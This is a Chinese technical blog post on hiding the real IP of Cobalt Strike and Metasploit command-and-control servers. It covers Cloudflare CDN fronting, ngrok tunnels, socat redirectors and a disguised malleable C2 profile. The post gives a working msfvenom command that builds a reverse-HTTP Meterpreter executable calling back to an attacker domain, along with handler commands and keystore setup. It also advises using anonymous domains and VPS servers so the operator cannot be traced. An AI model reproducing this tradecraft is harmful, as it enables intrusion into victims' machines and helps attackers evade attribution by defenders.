渗透测试框架之CobaltStrike,Metasploit域名上线隐藏IP

2024-05-26 21:44

本文主要是介绍渗透测试框架之CobaltStrike,Metasploit域名上线隐藏IP,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

概述

为什么要隐藏IP
在拿下了目标机之后,目标机在内网里面,使用msf或者CS时,用自己的VPS做服务器的话,导致很容易被溯源。

域名上线原理

当我们访问域名时会经过域名解析 域名解析就是域名到IP地址的转换过程,那么就意味这我们访问域名实际上最后是访问的真实IP
A 记录: 将域名指向一个 IPv4 地址(例如: 100.100.100.100 ),需要增加 A 记录
CNAME 记录: 如果将域名指向一个域名,实现与被指向域名相同的访问效果,需要增加 CNAME 记录。这个域名一般是主机服务商提供的一个域名
MX 记录: 建立电子邮箱服务,将指向邮件服务器地址,需要设置 MX 记录。建立邮箱时,一般会根据邮箱服务商提供的 MX 记录填写此记录
NS 记录: 域名解析服务器记录,如果要将子域名指定某个域名服务器来解析,需要设置 NS 记录
TXT 记录: 可任意填写,可为空。一般做一些验证记录时会使用此项,如:做 SPF (反垃圾邮件)记录
AAAA 记录: 将主机名(或域名)指向一个 IPv6 地址(例如: ff03:0:0:0:0:0:0:c1 ),需要添加 AAAA 记录
假设 现在有一个域名 www.aaa.com 配置了A记录
那么我想让我的msf上线能达到隐藏真实IP的效果吗

通过CDN上线MSF

CDN的全称是Content Delivery Network,即内容分发网络。其目的是通过在现有的Internet中增加一层新
的CACHE(缓存)层,将网站的内容发布到最接近用户的网络”边缘“的节点,目的提高用户访问网站的先赢速度
假设您的业务源站域名为 www.test.com ,当域名接入 CDN 开始使用加速服务后,您
的用户发起 HTTP 请求,实际的处理流程如图所示,根据他的处理流程,CDN最后会将流量转发到真实IP上, 那么我们便能通过CDN达到隐藏自身的效果

CDN上线具体实现

基础配置:一台VPS、一个域名
这里的VPS最好是匿名的
既然是隐藏自身 那么域名肯定不能使用自己备案的域名
https://freenom.com/ 注册免费域名 注册失败,可以用gmail注册
https://cart.godaddy.com/ 注册匿名域名
https://www.cloudflare.com/ 免费CDN

注意

Cloudflare支持的HTTP端口是:
80,8080,8880,2052,2082,2086,2095
Cloudflare支持的HTTPs端口是:
443,2053,2083,2087,2096,8443

MSF生成木马

msfvenom -p windows/x64/meterpreter/reverse_http LHOST=www.firreeoma.tk LPORT=2095 -f exe > shell.exe

MSF开启相对应监听

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_http
set lhost www.XXXX.tk
set lport 2095
run

流量分析CobaltStrike上线隐藏IP

CDN非法接入

使用CDN内容分发网络的多节点分布式技术,通过“加速、代理、缓存”隐藏在后面的静态文件或服务;最终
实现对外暴露的是CDN多节点的公网域名IP,很难甚至无法溯源真实后端服务器的域名或IP! 目标上线后流量走向
和MSF域名上线所需配置一样
1.开启一个listener
2.通过此监听生成后门
流量分析
观察流量信息会发现全程和CDN在做通信

隧道转发代理

利用内网穿透,将C2回连端口映射到其他公网地址,以达到测试程序通过其他公网地址进行回连,隐藏C2真实ip
1. 注册ngrok账号
https://ngrok.com/ 2.下载相应版本客户端
3.配置anth
4.转发端口
./ngrok tcp 10088
使用说明
https://dashboard.ngrok.com/get-started/setup 5.CS配置listener
6.生成payload运行上线

流量走向情况Wireshark抓包情况分析

并没有和我们的真实IP有交互 转发重定向
具体实现:两台vps 一台转发机器,一台teamserver
socat 转发
常用选项
-lh 将主机名添加到日志消息
-v 详细数据流量,文本
-x 详细数据流量,十六进制
-d 增加详细程度(最多使用 4 次;建议使用 2 次)
-lf <logfile> 记录到文件
socat TCP4-LISTEN:80,fork TCP4:C2ip:80 socat -d -d -d -d -lh -v -lf /var/log/socat.log TCP4-LISTEN:80,fork TCP4:C2 服务器 ip:C2 服务器监听 Port
解释:将此机器801端口接受到的流量转发给119.45.175.218:1212
1.创建监听
2.通过此监听生成木马上线

Wireshark抓包分析流量

通过查看连接情况和wireshark能够发现只和转发的机器有交互,在真实场景转发机器最好匿名

隐藏cs流量

cs配置文件Profile
下载地址
https://github.com/threatexpress/malleable-c2/archive/refs/heads/master.zip
keystore的生成方法:
去Cloudflare的SSL/TLS源服务器创建证书,使用默认配置生成pem和key。
复制证书创建txt导入,修改文件名为xxxx.pem 复制私钥创建txt导入,修改文件名为xxxx.key
将创建的pem和key文件上传至云服务器。执行以下命令(www.xxx.com为申请的域名)
openssl pkcs12 -export -in xxxx.pem -inkey xxxx.key -out www.xxx.com.p12 -name www.xxx.com -
passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore www.xxx.com.store
-srckeystore www.xxx.com.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias www.xxx.com
openssl pkcs12 -export -in www.quarry.top.pem -inkey www.quarry.top.key -out www.quarry.top.p12 -
name www.quarry.top -passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore
www.quarry.top.store -srckeystore www.quarry.top.p12 -srcstoretype PKCS12 -srcstorepass 123456 -
alias www.quarry.top
生成的keystore文件将该文件放在云服务器CS的根目录下。
然后将keystore文件名称和密码填入profile文件中。
对4.3版本Profile进行修改。需要修改的内容主要有七处,
一个是https-certificate模块中的keystore和password,修改后把注释去掉。
另外三处为http-stager、http-get、http-post模块中的Host和Referer。 剩余三处为Profile中的响应头配置,其中的header "Content-Type" "application/javascript; charset=utf-
8";修改为:header "Content-Type" "application/*; charset=utf-8"; 在修改完成后,使用CS自带的c2lint对profile语法进行检查,没有报错的话说明配置是对的。
修改CDN配置
在这个Profile中,我们请求的URI是以.js结尾的,Cloudflare作为一个CDN肯定要去缓存它,但这样的话请求就无法到达我们的CS服务器,自然也就无法上线了。使用开发模式并清除缓存。
测试上线 启动cs,设置配置为修改好的profile
对CS的listener进行配置。填入三次自己的域名,其他的默认,在https hosts处也可添加站长ping出来的cdn ip 生成木马,在pc运行,成功上线验证数据包
上线后Wireshark捕捉到的get数据包,104.21.40.221为我们的cdn地址。host与referer为我们的域名。
https://onlinesim.ru/auth/login/?redirect=https://onlinesim.ru/v2/receive/sms?/

这篇关于渗透测试框架之CobaltStrike,Metasploit域名上线隐藏IP的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1005674

相关文章

Python Dash框架在数据可视化仪表板中的应用与实践记录

《PythonDash框架在数据可视化仪表板中的应用与实践记录》Python的PlotlyDash库提供了一种简便且强大的方式来构建和展示互动式数据仪表板,本篇文章将深入探讨如何使用Dash设计一... 目录python Dash框架在数据可视化仪表板中的应用与实践1. 什么是Plotly Dash?1.1

基于Flask框架添加多个AI模型的API并进行交互

《基于Flask框架添加多个AI模型的API并进行交互》:本文主要介绍如何基于Flask框架开发AI模型API管理系统,允许用户添加、删除不同AI模型的API密钥,感兴趣的可以了解下... 目录1. 概述2. 后端代码说明2.1 依赖库导入2.2 应用初始化2.3 API 存储字典2.4 路由函数2.5 应

Python GUI框架中的PyQt详解

《PythonGUI框架中的PyQt详解》PyQt是Python语言中最强大且广泛应用的GUI框架之一,基于Qt库的Python绑定实现,本文将深入解析PyQt的核心模块,并通过代码示例展示其应用场... 目录一、PyQt核心模块概览二、核心模块详解与示例1. QtCore - 核心基础模块2. QtWid

CentOS 7部署主域名服务器 DNS的方法

《CentOS7部署主域名服务器DNS的方法》文章详细介绍了在CentOS7上部署主域名服务器DNS的步骤,包括安装BIND服务、配置DNS服务、添加域名区域、创建区域文件、配置反向解析、检查配置... 目录1. 安装 BIND 服务和工具2.  配置 BIND 服务3 . 添加你的域名区域配置4.创建区域

Linux系统中配置静态IP地址的详细步骤

《Linux系统中配置静态IP地址的详细步骤》本文详细介绍了在Linux系统中配置静态IP地址的五个步骤,包括打开终端、编辑网络配置文件、配置IP地址、保存并重启网络服务,这对于系统管理员和新手都极具... 目录步骤一:打开终端步骤二:编辑网络配置文件步骤三:配置静态IP地址步骤四:保存并关闭文件步骤五:重

最新Spring Security实战教程之Spring Security安全框架指南

《最新SpringSecurity实战教程之SpringSecurity安全框架指南》SpringSecurity是Spring生态系统中的核心组件,提供认证、授权和防护机制,以保护应用免受各种安... 目录前言什么是Spring Security?同类框架对比Spring Security典型应用场景传统

Python如何获取域名的SSL证书信息和到期时间

《Python如何获取域名的SSL证书信息和到期时间》在当今互联网时代,SSL证书的重要性不言而喻,它不仅为用户提供了安全的连接,还能提高网站的搜索引擎排名,那我们怎么才能通过Python获取域名的S... 目录了解SSL证书的基本概念使用python库来抓取SSL证书信息安装必要的库编写获取SSL证书信息

Nginx配置location+rewrite实现隐性域名配置

《Nginx配置location+rewrite实现隐性域名配置》本文主要介绍了Nginx配置location+rewrite实现隐性域名配置,包括基于根目录、条件和反向代理+rewrite配置的隐性... 目录1、配置基于根目录的隐性域名(就是nginx反向代理)2、配置基于条件的隐性域名2.1、基于条件

Linux配置IP地址的三种实现方式

《Linux配置IP地址的三种实现方式》:本文主要介绍Linux配置IP地址的三种实现方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录环境RedHat9第一种安装 直接配置网卡文件第二种方式 nmcli(Networkmanager command-line

Linux虚拟机不显示IP地址的解决方法(亲测有效)

《Linux虚拟机不显示IP地址的解决方法(亲测有效)》本文主要介绍了通过VMware新装的Linux系统没有IP地址的解决方法,主要步骤包括:关闭虚拟机、打开VM虚拟网络编辑器、还原VMnet8或修... 目录前言步骤0.问题情况1.关闭虚拟机2.China编程打开VM虚拟网络编辑器3.1 方法一:点击还原VM